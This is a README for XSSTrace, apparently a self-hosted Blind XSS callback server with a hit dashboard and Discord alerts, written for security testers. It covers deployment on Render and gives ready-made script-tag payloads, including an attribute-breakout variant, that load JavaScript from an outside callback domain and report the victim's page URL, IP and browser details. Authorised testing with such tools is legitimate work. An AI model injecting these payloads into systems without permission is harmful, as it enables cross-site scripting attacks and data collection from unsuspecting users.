A self-hosted Blind XSS payload server and hit dashboard with unlimited markers, page grouping, filters, import/export, and Discord alerts.
Watch the explanation here — 1:19:30 to 1:21:40 Blind XSS testing is painful when your callback tooling does not give you enough control.
- Burp Collaborator and Interactsh payloads are temporary or tied to a session.
- Public callback services can expire, rotate, or disappear.
- Classic XSS Hunter-style setups are useful, but many workflows end up with one generic payload path.
- When testing many fields, forms, endpoints, and roles, you need to know exactly which payload fired.
The problem is simple:
When you test many different fields, forms, endpoints, accounts, and roles, a generic Blind XSS callback only tells you that something fired. It does not always clearly tell you which exact injection point caused the hit. For example, if you test payloads in:
- profile name
- profile bio
- support ticket
- admin note
- billing address
- internal comment
- contact form
and later receive a Blind XSS callback, you need to know exactly which one triggered. That is the problem XSSTrace solves. Instead of using one generic payload path, XSSTrace lets you create unlimited marker-based payloads:
<script src="https://xss.yourdomain.com/x/signup-name"></script>
<script src="https://xss.yourdomain.com/x/admin-note"></script>
<script src="https://xss.yourdomain.com/x/billing-address"></script>Everything after /x/ is the marker. When it fires, the dashboard shows where it came from, when it triggered, and can send a Discord notification.
- Payload route:
/x/<marker> - Password-protected dashboard:
/dashboard - Unlimited markers, for example
/x/firstname-profile,/x/admin-note,/x/support-ticket - Hit grouping by page URL/site
- Filters with suggestions for page URL, IP, and marker
- 3-dot page actions: copy URL, cut, paste into another page group, delete
- Full hit download as
callbacks.jsonl - Import old hit logs and append them without replacing current hits
- Optional Discord webhook notifications for every hit
- Optional Render persistent disk support so logs survive redeploys
Use a dedicated subdomain:
Main website: https://yourdomain.com
Blind XSS server: https://xss.yourdomain.com
Dashboard: https://xss.yourdomain.com/dashboard
Payload base: https://xss.yourdomain.com/x/<marker>
Do not put this behind a static host. It needs a backend because it receives and stores callbacks.
- Open this repository on GitHub.
- Click Fork.
- Choose your GitHub account.
- Keep your fork private if you do not want your dashboard code/config visible.
Your fork will look like:
https://github.com/YOUR_USERNAME/XSSTrace
Clone your fork on your machine only so you can change example values and push your own copy.
git clone https://github.com/YOUR_USERNAME/XSSTrace.git
cd XSSTraceSearch the repo for:
xss.example.com
example.com
Replace them in documentation or examples with your real callback subdomain, for example:
xss.yourdomain.com
The important runtime value is still the Render environment variable:
PUBLIC_BASE_URL=https://xss.yourdomain.com
After your README/example changes:
git add .
git commit -m "Configure dashboard for my domain"
git push origin main- Open Render.
- Click New +.
- Choose Web Service.
- Connect GitHub.
- Select your forked repository:
YOUR_USERNAME/XSSTrace
- Use these settings:
Environment: Node
Build Command: npm install
Start Command: npm start
- Create the service.
Render will give you a temporary domain like:
https://xsstrace.onrender.com
Do not use that as your final payload domain if you have your own domain. Use it only until your custom subdomain is connected.
In Render:
Your Web Service -> Environment
Add:
| Key | Example | Required |
|---|---|---|
PUBLIC_BASE_URL |
https://xss.yourdomain.com |
Yes |
DASHBOARD_USERNAME |
bugatsec |
Yes |
DASHBOARD_PASSWORD |
use-a-strong-password |
Yes |
SESSION_SECRET |
long-random-string |
Strongly recommended |
DISCORD_WEBHOOK_URL |
https://discord.com/api/webhooks/... |
Optional |
DATA_DIR |
/var/data |
Recommended with persistent disk |
Then redeploy the service.
You can check whether dashboard auth is configured:
https://xss.yourdomain.com/health
Expected:
{
"authConfigured": true
}The /health endpoint does not reveal your username, password, session secret, or Discord webhook URL.
If you want hits to stay forever until you delete them, add a persistent disk.
In Render:
- Open your Web Service.
- Go to Disks.
- Add a disk.
- Mount path:
/var/data
- Set this environment variable:
DATA_DIR=/var/data
The hit log will be stored at:
/var/data/callbacks.jsonl
Without a persistent disk, Render may lose the log on redeploy/restart.
Use a subdomain like:
xss.yourdomain.com
In Render:
- Open your Web Service.
- Go to Settings -> Custom Domains.
- Add:
xss.yourdomain.com
- Render will show a DNS target.
In your domain/DNS dashboard:
- Create the DNS record Render tells you to create.
- Usually this is a CNAME from:
xss
to something like:
your-service.onrender.com
- Wait for DNS to propagate.
- Wait for Render TLS/HTTPS to become active.
Finally, make sure Render has:
PUBLIC_BASE_URL=https://xss.yourdomain.com
Redeploy after changing it.
In Discord:
- Open the channel where you want alerts.
- Go to Edit Channel -> Integrations -> Webhooks.
- Create a webhook.
- Copy the webhook URL.
- Add it in Render:
DISCORD_WEBHOOK_URL=https://discord.com/api/webhooks/...
Every new hit sends a Discord embed with:
- marker
- source type
- IP
- page URL/referrer
- user agent
Open:
https://xss.yourdomain.com/dashboard
Login with:
DASHBOARD_USERNAME
DASHBOARD_PASSWORD
The dashboard gives you:
- payload builder
- total hit count
- unique marker count
- page URL groups
- filters for page URL, IP, and marker
- 3-dot page actions
- import/export controls
- clear-all logs
Basic marker:
<script src="https://xss.yourdomain.com/x/blind-xss"></script>Marker per injection point:
<script src="https://xss.yourdomain.com/x/signup-name"></script>
<script src="https://xss.yourdomain.com/x/profile-bio"></script>
<script src="https://xss.yourdomain.com/x/admin-note"></script>
<script src="https://xss.yourdomain.com/x/billing-address"></script>The dashboard groups hits by page URL and shows the marker so you know exactly which payload fired.
The payload builder can also produce a two-script variant:
<script src="https://xss.yourdomain.com/x/blind-xss"></script>"/><script src="https://xss.yourdomain.com/x/blind-xss1"></script>This can help in some broken HTML contexts where one form of injection closes/escapes differently than another.
The app records:
- marker
- page URL or referrer
- IP address
- user agent
- browser language
- viewport
- source type
- timestamp
Source types:
| Source | Meaning |
|---|---|
payload-load |
The /x/<marker> JavaScript URL was requested |
script |
The JavaScript executed and posted back |
image |
The image fallback fired |
import |
The hit came from an imported log |
Each page group has a 3-dot menu:
Copy URLcopies the page URL/group keyCutselects all hits in that page groupPaste heremoves cut hits into another page groupDeletedeletes all hits for that page group
Download hits downloads the current backend log:
callbacks.jsonl
Selecting an import file previews it in the browser. It is not uploaded immediately.
Add to logs appends the previewed hits to the backend log. It does not replace existing hits.
Supported import formats:
- JSONL, one hit per line
- JSON array
- JSON object with a
callbacksarray
- Keep your fork private if you do not want others to inspect your setup.
- Do not commit real dashboard passwords.
- Do not commit Discord webhook URLs.
- Do not commit
callbacks.jsonl. - Use HTTPS for your callback domain.
- Use a strong
SESSION_SECRET. - Rotate credentials if you accidentally expose them.
See LICENSE.